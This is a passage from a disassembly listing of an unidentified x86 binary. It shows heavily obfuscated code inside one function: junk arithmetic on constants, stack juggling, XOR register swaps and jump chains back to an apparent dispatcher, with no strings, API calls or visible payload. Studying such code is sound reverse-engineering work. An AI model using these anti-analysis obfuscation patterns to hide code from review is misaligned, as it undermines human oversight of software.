loc_58BBB6:				; CODE XREF: sub_57DD3A+6664j
		pop	edx
		push	[esp+8Ch+var_8C]
		push	[esp+90h+var_90]
		push	[esp+94h+var_94]
		jmp	loc_58A3F9
; ---------------------------------------------------------------------------


loc_58BBC5:				; CODE XREF: sub_57DD3A+FD36j
		push	2
		pop	eax
		add	ebp, eax
		jmp	loc_588523
; ---------------------------------------------------------------------------


loc_58BBD2:				; CODE XREF: sub_57DD3A+5771j
		add	edx, 6C8904D7h
		jmp	loc_589561
; ---------------------------------------------------------------------------


loc_58BBDD:				; CODE XREF: sub_57DD3A+FC61j
		push	esi
		mov	esi, 7F053A9Ch
		and	esi, 1FC14249h
		sub	esi, 1F010204h
		jmp	loc_585837
; ---------------------------------------------------------------------------


loc_58BBF4:				; CODE XREF: sub_57DD3A+51E2j
		push	24h
		push	[esp+88h+var_88]
		pop	ecx
		jmp	loc_589FCB
; ---------------------------------------------------------------------------


loc_58BC02:				; CODE XREF: sub_57DD3A+F07Fj
		xor	edx, 46AA61D2h
		add	edx, 0B3431016h
		add	ebx, edx
		pop	edx
		push	3F4Bh
		mov	[esp+88h+var_88], eax
		jmp	loc_586F8F
; ---------------------------------------------------------------------------


loc_58BC1E:				; CODE XREF: sub_57DD3A+C620j
		mov	ebx, esi
		pop	esi
		or	edx, ebx
		pop	ebx
		jmp	loc_587666
; ---------------------------------------------------------------------------


loc_58BC29:				; CODE XREF: sub_57DD3A+B5D1j
		mov	[esp+0C4h+var_C4], ecx
		push	[esp+0C4h+var_C4]
		pop	eax
		add	esp, 4
		mov	ecx, [esp+0C0h+var_C0]
		jmp	loc_588B35
; ---------------------------------------------------------------------------


loc_58BC3B:				; CODE XREF: sub_57DD3A+46F0j
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		add	eax, 28167E4Ah
		shr	eax, 5
		push	edx
		mov	edx, 45124091h
		push	ecx
		jmp	loc_58C2DA
; ---------------------------------------------------------------------------


loc_58BC58:				; CODE XREF: sub_57DD3A+CE2Aj
		mov	ebp, eax
		pop	eax
		jmp	loc_5875A1
; ---------------------------------------------------------------------------


loc_58BC60:				; CODE XREF: sub_57DD3A+FE84j
		xchg	ebp, [esp+0A6h+var_A8+2]
		pop	esp
		pop	[esp+0A2h+var_A4+2]
		pop	esp
		jmp	loc_58831C
; ---------------------------------------------------------------------------


loc_58BC6D:				; CODE XREF: sub_57DD3A+E8F8j
		add	ecx, 4
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], edx
		mov	edx, 4
		jmp	loc_58ADAD
; ---------------------------------------------------------------------------


loc_58BC83:				; CODE XREF: sub_57DD3A+8585j
		pop	edx
		jmp	loc_58A1D6
; ---------------------------------------------------------------------------


loc_58BC89:				; CODE XREF: sub_57DD3A+8AF5j
		mov	dh, 0B3h
		add	dh, 2Bh
		jmp	loc_58D2E4
; ---------------------------------------------------------------------------


loc_58BC93:				; CODE XREF: sub_57DD3A+7D30j
		push	[esp+94h+var_90]
		pop	eax
		pop	[esp+94h+var_94]
		pop	esp
		mov	[esp+8Ch+var_8C], ebx
		push	[esp+8Ch+var_8C]
		push	[esp+90h+var_90]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_586557
; ---------------------------------------------------------------------------


loc_58BCBA:				; CODE XREF: sub_57DD3A+83E7j
		mov	[esp+54h+var_54], esp
		add	[esp+54h+var_54], 4
		pop	ebx
		push	esi
		push	eax
		jmp	loc_58DF88
; ---------------------------------------------------------------------------


loc_58BCC9:				; CODE XREF: sub_57DD3A+A714j
		pop	eax
		push	edi
		mov	edi, 9756BB5h
		xor	edi, 5C3000AEh
		shl	edi, 7
		dec	edi
		jmp	loc_58AD29
; ---------------------------------------------------------------------------


loc_58BCDF:				; CODE XREF: sub_57DD3A+D32Aj
		mov	ebp, 733414ECh
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		sub	eax, 733414ECh
		push	edi
		mov	edi, 2A75064Bh
		xor	edi, 570E2BFCh
		xor	edi, 10B061ECh
		dec	edi
		add	edi, 69175D6Ah
		sub	edi, 37551C07h
		jmp	loc_589E8E
; ---------------------------------------------------------------------------


loc_58BD12:				; CODE XREF: sub_57DD3A+9C5Aj
		mov	[esp+60h+var_60], edx
		jmp	loc_58B009
; ---------------------------------------------------------------------------


loc_58BD1A:				; CODE XREF: sub_57DD3A+BAE5j
		pop	ebp
		add	edx, 60D134F2h
		add	edx, 52E836A6h
		add	edx, esi
		sub	edx, 52E836A6h
		push	esi
		jmp	loc_58CFDE
; ---------------------------------------------------------------------------


loc_58BD35:				; CODE XREF: sub_57DD3A+B4A4j
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_58B3EA
; ---------------------------------------------------------------------------


loc_58BD4A:				; CODE XREF: sub_57DD3A+3D51j
		xchg	edi, [esp+62h+var_64+2]
		pop	esp
		push	66E2h
		mov	[esp+62h+var_64+2], edi
		mov	edi, 2B553A4Ah
		jmp	loc_585A8D
; ---------------------------------------------------------------------------


loc_58BD60:				; CODE XREF: sub_57DD3A+AD1Dj
		add	eax, 694B3D06h
		pop	edi
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], esi
		push	ecx
		jmp	loc_586AA2
; ---------------------------------------------------------------------------


loc_58BD72:				; CODE XREF: sub_57DD3A+7539j
		pop	ebp
		push	ebx
		sub	[esp+7Ah+var_7C+2], 15207550h
		pop	ebp
		push	edi
		mov	edi, 1C0137D6h
		neg	edi
		jmp	loc_584777
; ---------------------------------------------------------------------------


loc_58BD89:				; CODE XREF: sub_57DD3A+64FFj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8Eh+var_90+2]
		pop	esp
		mov	[esp+8Ah+var_8C+2], eax
		push	ebp
		jmp	loc_585E2E
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58B6BC
; ---------------------------------------------------------------------------


loc_58BDA9:				; CODE XREF: sub_57DD3A+D435j
		mov	cl, 0F5h
		neg	cl
		not	cl
		jmp	loc_58BF50
; ---------------------------------------------------------------------------


loc_58BDB4:				; CODE XREF: sub_57DD3A+F065j
		add	eax, 4
		xchg	eax, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		push	edi
		mov	edi, 63C250F7h
		xor	esi, edi
		pop	edi
		add	eax, esi
		push	[esp+5Eh+var_60+2]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_58BFAF
; ---------------------------------------------------------------------------


loc_58BDD6:				; CODE XREF: sub_57DD3A+409Aj
		mov	ax, word ptr [esp+7Eh+var_80+2]
		push	esi
		mov	esi, esp
		jmp	loc_58AF4D
; ---------------------------------------------------------------------------


loc_58BDE2:				; CODE XREF: sub_57DD3A+F85Ej
		add	ecx, ebp
		jmp	loc_583264
; ---------------------------------------------------------------------------


loc_58BDE9:				; CODE XREF: sub_57DD3A+CEE2j
		add	edx, edi
		pop	edi
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58BDF1:				; CODE XREF: sub_57DD3A+FBAAj
		sub	esp, 4
		mov	[esp+64h+var_64], edi
		jmp	loc_586D7B
; ---------------------------------------------------------------------------


loc_58BDFF:				; CODE XREF: sub_57DD3A+B328j
		add	edx, 0D9631DADh
		sub	ecx, 2F891123h
		sub	ecx, edx
		add	ecx, 2F891123h
		pop	edx
		add	ecx, 0AA68D07Ah
		add	ebp, ecx
		mov	ecx, [esp+0F0h+var_F0]
		add	esp, 4
		jmp	loc_58A806
; ---------------------------------------------------------------------------


loc_58BE2A:				; CODE XREF: sub_57DD3A+C93Bj
		add	esi, ecx
		jmp	loc_58DD90
; ---------------------------------------------------------------------------


loc_58BE31:				; CODE XREF: sub_57DD3A+45C2j
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebx
		pop	dword ptr [edi+24h]
		jmp	loc_588297
; ---------------------------------------------------------------------------


loc_58BE3F:				; CODE XREF: sub_57DD3A+C292j
		mov	ebp, esp
		push	ebx
		jmp	loc_585C5C
; ---------------------------------------------------------------------------


loc_58BE47:				; CODE XREF: sub_57DD3A+E989j
		sub	[esp+0E0h+var_E0], 54B2600Fh
		pop	esi
		add	esi, 54B2600Fh
		pop	ebx
		jmp	loc_586031
; ---------------------------------------------------------------------------


loc_58BE5B:				; CODE XREF: sub_57DD3A+9B56j
		push	edx
		push	ebx
		jmp	loc_585A3E
; ---------------------------------------------------------------------------


loc_58BE62:				; CODE XREF: sub_57DD3A+5640j
		sub	esp, 4
		mov	[esp+0D4h+var_D4], ecx
		mov	ecx, esp
		jmp	loc_582810
; ---------------------------------------------------------------------------


loc_58BE72:				; CODE XREF: sub_57DD3A+910Dj
		push	[esp+5Eh+var_60+2]
		push	[esp+62h+var_64+2]
		pop	ecx
		jmp	loc_58C12E
; ---------------------------------------------------------------------------


loc_58BE7E:				; CODE XREF: sub_57DD3A+E405j
		pop	edx
		xor	edx, 5B0D5BA4h
		mov	eax, edx
		pop	edx
		add	[esp+5Ah+var_58+2], eax
		jmp	loc_585770
; ---------------------------------------------------------------------------


loc_58BE91:				; CODE XREF: sub_57DD3A+3C22j
		pop	edx
		add	edx, 4
		push	eax
		push	ecx
		mov	ecx, 2
		mov	eax, ecx
		mov	ecx, [esp+56h+var_58+2]
		add	esp, 4
		add	edx, eax
		jmp	loc_588FC8
; ---------------------------------------------------------------------------


loc_58BEB1:				; CODE XREF: sub_57DD3A+B0E8j
		push	ecx
		mov	ecx, 29911655h
		add	ecx, 17F3405Fh
		sub	ecx, 6E045FA3h
		add	ebp, ecx
		pop	ecx
		sub	eax, ebp
		pop	ebp
		mov	edx, eax
		jmp	loc_58B892
; ---------------------------------------------------------------------------


loc_58BED0:				; CODE XREF: sub_57DD3A+C2F4j
		add	edx, 4
		xchg	edx, [esp+96h+var_98+2]
		pop	esp
		add	ebp, 4
		jmp	loc_584E9F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+92h+var_94+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_58A095
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+9Ah+var_9C+2]
		push	eax
		push	esp
		jmp	loc_58D6C8
; ---------------------------------------------------------------------------


loc_58BF0C:				; CODE XREF: sub_57DD3A+F285j
		pop	[esp+0A2h+var_A4+2]
		mov	esp, [esp+9Eh+var_A0+2]
		push	4B9Bh
		jmp	loc_584CC3
; ---------------------------------------------------------------------------


loc_58BF1C:				; CODE XREF: sub_57DD3A+C44Ej
		xor	[esp+76h+var_78+2], 26DB6D8Ah
		push	[esp+76h+var_78+2]
		jmp	loc_58C0E7
; ---------------------------------------------------------------------------


loc_58BF2B:				; CODE XREF: sub_57DD3A+5723j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58BF30:				; CODE XREF: sub_57DD3A+9EABj
		mov	ah, dh
		jmp	loc_58B117
; ---------------------------------------------------------------------------


loc_58BF37:				; CODE XREF: sub_57DD3A+B635j
		pop	edx
		mov	ecx, esi
		jmp	loc_58A858
; ---------------------------------------------------------------------------


loc_58BF3F:				; CODE XREF: sub_57DD3A+8B2Dj
		add	esi, 4
		xchg	esi, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		jmp	loc_589483
; ---------------------------------------------------------------------------


loc_58BF50:				; CODE XREF: sub_57DD3A+E075j
		add	cl, 35h
		add	dl, cl
		pop	ecx
		push	cx
		jmp	loc_587EFA
; ---------------------------------------------------------------------------


loc_58BF5D:				; CODE XREF: sub_57DD3A+745Dj
		push	438958E7h
		pop	eax
		jmp	loc_581B77
; ---------------------------------------------------------------------------


loc_58BF68:				; CODE XREF: sub_57DD3A+C6C9j
		push	ecx
		mov	ecx, 22AE4B43h
		push	edx
		mov	edx, 1B3F7215h
		jmp	loc_582630
; ---------------------------------------------------------------------------


loc_58BF79:				; CODE XREF: sub_57DD3A+10175j
		sub	edx, 76E34BBDh
		push	esi
		mov	esi, 4DC3996Ch
		xor	edx, esi
		pop	esi
		push	4E82h
		mov	[esp+56h+var_58+2], edx
		pop	ebp
		pop	edx
		xor	ebp, 2A0A4A37h
		shl	ebp, 1
		push	eax
		mov	eax, 4B5E49A2h
		add	ebp, eax
		pop	eax
		add	[esp+4Eh+var_4C+2], ebp
		mov	ebp, [esp+4Eh+var_50+2]
		jmp	loc_587EAB
; ---------------------------------------------------------------------------


loc_58BFAF:				; CODE XREF: sub_57DD3A+E097j
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_582FAE
; ---------------------------------------------------------------------------


loc_58BFBC:				; CODE XREF: sub_57DD3A+40BDj
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58ADA4
; ---------------------------------------------------------------------------


loc_58BFCD:				; CODE XREF: sub_57DD3A+6031j
		xchg	esi, [esp+6Ah+var_6C+2]
		jmp	loc_58711E
; ---------------------------------------------------------------------------


loc_58BFD5:				; CODE XREF: sub_57DD3A+76F2j
		sub	edx, 75F302C7h
		mov	edi, edx
		pop	edx
		jmp	loc_5830EF
; ---------------------------------------------------------------------------


loc_58BFE3:				; CODE XREF: sub_57DD3A+6EF8j
		pop	edi
		sub	esp, 4
		mov	[esp+62h+var_64+2], ebx
		push	670B351Dh
		jmp	loc_5864C3
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: sub_57DD3A+A482j
		add	[esp+6Eh+var_70+2], 4
		jmp	loc_588699
; ---------------------------------------------------------------------------


loc_58C000:				; CODE XREF: sub_57DD3A+61B6j
		add	edi, 7B118D5h
		jmp	loc_581BA7
; ---------------------------------------------------------------------------


loc_58C00B:				; CODE XREF: sub_57DD3A+999Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Ah+var_8C+2]
		jmp	loc_583522
; ---------------------------------------------------------------------------


loc_58C022:				; CODE XREF: sub_57DD3A+F2D9j
		pop	ebp
		add	ebp, 4
		jmp	loc_58360C
; ---------------------------------------------------------------------------


loc_58C02E:				; CODE XREF: sub_57DD3A+53A6j
		mov	[esp+0AAh+var_AC+2], edi
		mov	edi, 0FF6F5F1Bh
		sub	eax, edi
		pop	edi
		add	ebp, 5E5D1395h
		add	ebp, eax
		jmp	loc_582EF6
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A6h+var_A8+2]
		jmp	loc_58A78E
; ---------------------------------------------------------------------------


loc_58C04F:				; CODE XREF: sub_57DD3A+BB67j
		pop	edi
		mov	ebx, edi
		mov	edi, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_5879D0
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: sub_57DD3A+7979j
		not	esi
		sub	esi, 1
		jmp	loc_589A94
; ---------------------------------------------------------------------------


loc_58C06D:				; CODE XREF: sub_57DD3A+D14Fj
		add	edi, ecx
		add	edi, 3DD14EEBh
		add	edi, 72C12901h
		pop	ecx
		add	edi, edx
		jmp	loc_58268F
; ---------------------------------------------------------------------------


loc_58C083:				; CODE XREF: sub_57DD3A+D756j
		mov	esi, ecx
		pop	ecx
		pop	edi
		and	eax, esi
		mov	esi, [esp+86h+var_88+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_58833C
; ---------------------------------------------------------------------------
		push	[esp+8Ah+var_8C+2]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_58903C
; ---------------------------------------------------------------------------


loc_58C0B2:				; CODE XREF: sub_57DD3A+CA25j
		xchg	esi, [esp+82h+var_84+2]
		jmp	loc_58874E
; ---------------------------------------------------------------------------


loc_58C0BA:				; CODE XREF: sub_57DD3A+98ECj
		sub	ecx, ebp
		mov	ebp, [esp+7Ch+var_7C]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		xor	ebx, [esp+80h+var_80]
		jmp	loc_5858D9
; ---------------------------------------------------------------------------


loc_58C0D9:				; CODE XREF: sub_57DD3A+91F3j
		pop	edi
		push	edi
		push	2
		pop	edi
		push	edx
		jmp	loc_58BB8A
; ---------------------------------------------------------------------------


loc_58C0E7:				; CODE XREF: sub_57DD3A+E1ECj
		mov	ecx, [esp+7Ah+var_7C+2]
		push	esi
		push	0B30h
		jmp	loc_587EA2
; ---------------------------------------------------------------------------


loc_58C0F5:				; CODE XREF: sub_57DD3A+8579j
		shl	eax, 3
		xor	eax, 8CA35A36h
		xor	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_589FD1
; ---------------------------------------------------------------------------


loc_58C106:				; CODE XREF: sub_57DD3A+4797j
		mov	eax, [esp+0A6h+var_A8+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0AAh+var_AC+2]
		pop	esp
		push	edi
		push	ecx
		mov	ecx, 4
		push	ecx
		jmp	loc_585F09
; ---------------------------------------------------------------------------


loc_58C126:				; CODE XREF: sub_57DD3A+9674j
		mov	ecx, [esp+9Ch+var_9C]
		jmp	loc_5851FF
; ---------------------------------------------------------------------------


loc_58C12E:				; CODE XREF: sub_57DD3A+E13Fj
		add	esp, 4
		jmp	loc_585B5E
; ---------------------------------------------------------------------------


loc_58C139:				; CODE XREF: sub_57DD3A+EE65j
		push	edx
		push	66897703h
		jmp	loc_58BE7E
; ---------------------------------------------------------------------------


loc_58C144:				; CODE XREF: sub_57DD3A+3B98j
		mov	dh, 14h
		add	al, 25h
		add	al, dh
		sub	al, 25h
		pop	dx
		jmp	loc_581F61
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+4Eh+var_50+2], al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C162:				; CODE XREF: sub_57DD3A+DBD4j
		push	1F92h
		jmp	loc_58B841
; ---------------------------------------------------------------------------


loc_58C16C:				; CODE XREF: sub_57DD3A+7276j
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_58CBBA
; ---------------------------------------------------------------------------


loc_58C178:				; CODE XREF: sub_57DD3A+7C14j
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		mov	eax, [esp+66h+var_68+2]
		add	esp, 4
		sub	ebp, 5BF861D0h
		or	ebp, 31080874h
		xor	ebp, 0F3690BFDh
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+5Eh+var_60+2]
		xor	[esp+5Eh+var_60+2], eax
		xor	eax, [esp+5Eh+var_60+2]
		jmp	loc_587E51
; ---------------------------------------------------------------------------


loc_58C1A6:				; CODE XREF: sub_57DD3A+51CBj
		xor	ebp, [esp+84h+var_84]
		xor	[esp+84h+var_84], ebp
		jmp	loc_5844EC
; ---------------------------------------------------------------------------


loc_58C1B1:				; CODE XREF: sub_57DD3A+DA6Aj
		push	427Fh
		mov	[esp+0E4h+var_E4], ebp
		push	edx
		mov	edx, 64925FCh
		mov	ebp, edx
		pop	edx
		or	ebp, 11E80852h
		or	ebp, 7FE15FD8h
		jmp	loc_58D45B
; ---------------------------------------------------------------------------


loc_58C1D3:				; CODE XREF: sub_57DD3A+7D98j
		pop	esp
		push	edx
		push	eax
		jmp	loc_5872ED
; ---------------------------------------------------------------------------


loc_58C1DB:				; CODE XREF: sub_57DD3A+1014Dj
		pop	ebx
		jmp	loc_583FB2
; ---------------------------------------------------------------------------


loc_58C1E1:				; CODE XREF: sub_57DD3A+B546j
		push	1BB1h
		mov	[esp+8Ch+var_8C], ebx
		jmp	loc_583C00
; ---------------------------------------------------------------------------


loc_58C1EE:				; CODE XREF: sub_57DD3A+C9A8j
		xor	ch, 0F5h
		add	ch, 42h
		mov	dl, ch
		pop	ecx
		jmp	loc_583189
; ---------------------------------------------------------------------------


loc_58C1FC:				; CODE XREF: sub_57DD3A+E687j
		add	esp, 4
		jmp	loc_58D07B
; ---------------------------------------------------------------------------


loc_58C207:				; CODE XREF: sub_57DD3A+C730j
		push	ebx
		mov	bl, 0B6h
		mov	cl, 0F7h
		xor	cl, 0D4h
		sub	cl, 67h
		xor	cl, bl
		push	[esp+0BEh+var_C0+2]
		jmp	loc_582B5E
; ---------------------------------------------------------------------------


loc_58C21C:				; CODE XREF: sub_57DD3A+6DFBj
		push	edx
		push	ebx
		mov	bh, 19h
		mov	dh, bh
		pop	ebx
		add	bl, dh
		mov	edx, [esp+84h+var_84]
		jmp	loc_583692
; ---------------------------------------------------------------------------


loc_58C22D:				; CODE XREF: sub_57DD3A+502Fj
		mov	dl, 0DAh
		mov	ch, 4
		add	ch, dl
		pop	edx
		sub	ch, 0A5h
		push	ebx
		mov	bh, ch
		mov	al, bh
		jmp	loc_58B36C
; ---------------------------------------------------------------------------


loc_58C241:				; CODE XREF: sub_57DD3A+A45Cj
		sub	eax, 97B15D5h
		sub	eax, edx
		add	eax, 97B15D5h
		mov	edx, [esp+62h+var_64+2]
		add	esp, 4
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C25F:				; CODE XREF: sub_57DD3A+FEF9j
		pop	ebp
		jmp	loc_5851F3
; ---------------------------------------------------------------------------


loc_58C265:				; CODE XREF: sub_57DD3A+7750j
		pop	edi
		shr	ebx, 5
		sub	ebx, 917A2EAEh
		add	edi, 59813994h
		sub	edi, 0DD132CFh
		add	edi, 68CA17D1h
		sub	edi, ebx
		jmp	loc_58D0B3
; ---------------------------------------------------------------------------


loc_58C288:				; CODE XREF: sub_57DD3A+5714j
		sub	dh, cl
		pop	cx
		sub	al, dh
		jmp	loc_583E03
; ---------------------------------------------------------------------------


loc_58C293:				; CODE XREF: sub_57DD3A+928Fj
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+0BCh+var_BC], edi
		jmp	loc_584647
; ---------------------------------------------------------------------------


loc_58C2B0:				; CODE XREF: sub_57DD3A+D0E4j
		mov	edx, esp
		jmp	loc_58385D
; ---------------------------------------------------------------------------


loc_58C2B7:				; CODE XREF: sub_57DD3A+82B4j
		pop	eax
		push	[esp+80h+var_80]
		pop	ecx
		add	esp, 4
		jmp	loc_583C5E
; ---------------------------------------------------------------------------


loc_58C2C4:				; CODE XREF: sub_57DD3A+10064j
		push	5016h
		mov	[esp+80h+var_80], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 70DC7F54h
		push	edi
		jmp	loc_5819E6
; ---------------------------------------------------------------------------


loc_58C2DA:				; CODE XREF: sub_57DD3A+DF19j
		mov	ecx, 38E4175Dh
		jmp	loc_586099
; ---------------------------------------------------------------------------


loc_58C2E4:				; CODE XREF: sub_57DD3A+49D1j
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], eax
		jmp	loc_5864D5
; ---------------------------------------------------------------------------


loc_58C2EF:				; CODE XREF: sub_57DD3A+5940j
		sub	[esp+0A2h+var_A0+2], 4487729Ch
		jmp	loc_58BA18
; ---------------------------------------------------------------------------


loc_58C2FC:				; CODE XREF: sub_57DD3A+587Dj
		pop	ebp
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_584544
; ---------------------------------------------------------------------------


loc_58C30B:				; CODE XREF: sub_57DD3A+FA27j
		xor	eax, ecx
		pop	ecx
		neg	eax
		sub	eax, 86D49380h
		neg	eax
		add	eax, 1
		jmp	loc_583E2A
; ---------------------------------------------------------------------------


loc_58C31F:				; CODE XREF: sub_57DD3A+54EDj
		mov	[esp+5Eh+var_60+2], ebp
		sub	esp, 4
		jmp	loc_589A0F
; ---------------------------------------------------------------------------


loc_58C32D:				; CODE XREF: sub_57DD3A+BD8Fj
		and	dh, cl
		pop	ecx
		jmp	loc_58CBA4
; ---------------------------------------------------------------------------


loc_58C335:				; CODE XREF: sub_57DD3A+70FBj
		mov	eax, 925784Eh
		shl	eax, 7
		add	eax, 0AA5325C1h
		jmp	loc_589C00
; ---------------------------------------------------------------------------


loc_58C347:				; CODE XREF: sub_57DD3A+8FC0j
		sub	esi, 4E0024A7h
		jmp	loc_583324
; ---------------------------------------------------------------------------


loc_58C352:				; CODE XREF: sub_57DD3A+88A2j
		add	esi, 4
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		xchg	esi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		jmp	loc_5834EC
; ---------------------------------------------------------------------------


loc_58C36C:				; CODE XREF: sub_57DD3A+ECD2j
		add	esi, 2D360B58h
		jmp	loc_58DDB8
; ---------------------------------------------------------------------------


loc_58C377:				; CODE XREF: sub_57DD3A+F41Bj
		shl	edi, 7
		shr	edi, 1
		jmp	loc_58B0DB
; ---------------------------------------------------------------------------


loc_58C381:				; CODE XREF: sub_57DD3A+ED42j
		mov	edx, 4A8B6FA8h
		xor	ebp, edx
		pop	edx
		or	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 9441A163h
		add	ebx, ecx
		jmp	loc_58C57D
; ---------------------------------------------------------------------------


loc_58C399:				; CODE XREF: sub_57DD3A+65ABj
		mov	ecx, [esp+98h+var_98]
		add	esp, 4
		add	esp, 4
		xchg	ebx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		mov	word ptr [esp+90h+var_90], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C3B7:				; CODE XREF: sub_57DD3A+687Aj
		not	dl
		sub	dl, 0F8h
		sub	bl, dl
		mov	edx, [esp+84h+var_84]
		jmp	loc_58C1FC
; ---------------------------------------------------------------------------


loc_58C3C6:				; CODE XREF: sub_57DD3A+9287j
		pop	edi
		jmp	loc_58C9FC
; ---------------------------------------------------------------------------


loc_58C3CC:				; CODE XREF: sub_57DD3A+53EAj
		add	[esp+0B2h+var_B4+2], 4
		mov	ecx, [esp+0B2h+var_B4+2]
		push	edx
		mov	edx, esp
		jmp	loc_587046
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B6h+var_B8+2]
		jmp	loc_58A952
; ---------------------------------------------------------------------------


loc_58C3E7:				; CODE XREF: sub_57DD3A+C71Ej
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	0A1Ch
		mov	[esp+82h+var_84+2], edi
		mov	edi, 6DBD55B8h
		xor	edi, 11D35614h
		jmp	loc_58DFE1
; ---------------------------------------------------------------------------


loc_58C408:				; CODE XREF: sub_57DD3A+C874j
		mov	[esp+0A2h+var_A4+2], eax
		jmp	loc_5823D5
; ---------------------------------------------------------------------------


loc_58C410:				; CODE XREF: sub_57DD3A+B03Bj
		push	edx
		pop	ecx
		pop	edx
		xchg	eax, ecx
		dec	eax
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		and	ecx, 1C90B12h
		push	ebx
		mov	ebx, 53CE62D0h
		sub	ecx, 576D5C98h
		add	ecx, 4B80726h
		jmp	loc_586543
; ---------------------------------------------------------------------------


loc_58C438:				; CODE XREF: sub_57DD3A+DB53j
		push	ebx
		mov	ebx, esp
		jmp	loc_5885DA
; ---------------------------------------------------------------------------


loc_58C440:				; CODE XREF: sub_57DD3A+CEF7j
		add	al, dh
		pop	edx
		sub	al, bh
		sub	al, 0E9h
		pop	ebx
		add	al, 21h
		jmp	loc_58D8CE
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58C456:				; CODE XREF: sub_57DD3A+59EBj
		push	dx
		mov	dh, 0E9h
		sub	al, 43h
		sub	al, dh
		add	al, 43h
		mov	dx, word ptr [esp+0A6h+var_A8+2]
		push	ebx
		push	esp
		push	[esp+0AEh+var_B0+2]
		mov	ebx, [esp+0B2h+var_B4+2]
		push	ebp
		jmp	loc_584B44
; ---------------------------------------------------------------------------


loc_58C472:				; CODE XREF: sub_57DD3A+EDFFj
		pop	ebx
		sub	ebx, 0A5ED13EDh
		jmp	loc_58B9B2
; ---------------------------------------------------------------------------


loc_58C47E:				; CODE XREF: sub_57DD3A+B453j
		push	ecx
		jmp	loc_588345
; ---------------------------------------------------------------------------


loc_58C484:				; CODE XREF: sub_57DD3A+7709j
		pop	ebp
		xor	esi, [esp+80h+var_80]
		xor	[esp+80h+var_80], esi
		jmp	loc_5861EA
; ---------------------------------------------------------------------------


loc_58C490:				; CODE XREF: sub_57DD3A+9D46j
		neg	ebp
		jmp	loc_588932
; ---------------------------------------------------------------------------


loc_58C497:				; CODE XREF: sub_57DD3A+829Fj
		pop	ebx
		xor	esi, 5F715706h
		xor	ecx, esi
		jmp	loc_58C6F7
; ---------------------------------------------------------------------------


loc_58C4A5:				; CODE XREF: sub_57DD3A+9E31j
		mov	[esp+68h+var_68], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+6Ch+var_6C], esi
		mov	esi, 93A6D56h
		shr	esi, 5
		dec	esi
		xor	esi, 49D36Dh
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp+68h+var_68]
		pop	esp
		jmp	loc_5878FE
; ---------------------------------------------------------------------------


loc_58C4CE:				; CODE XREF: sub_57DD3A+C7A6j
		mov	[esp+0C8h+var_C8], ebx
		jmp	loc_5822BA
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_581B17
; ---------------------------------------------------------------------------


loc_58C4DC:				; CODE XREF: sub_57DD3A+E94Bj
		xchg	ebp, [esp+0C8h+var_C8]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0C8h+var_C8]
		pop	esp
		push	edx
		mov	edx, 89B2CBAh
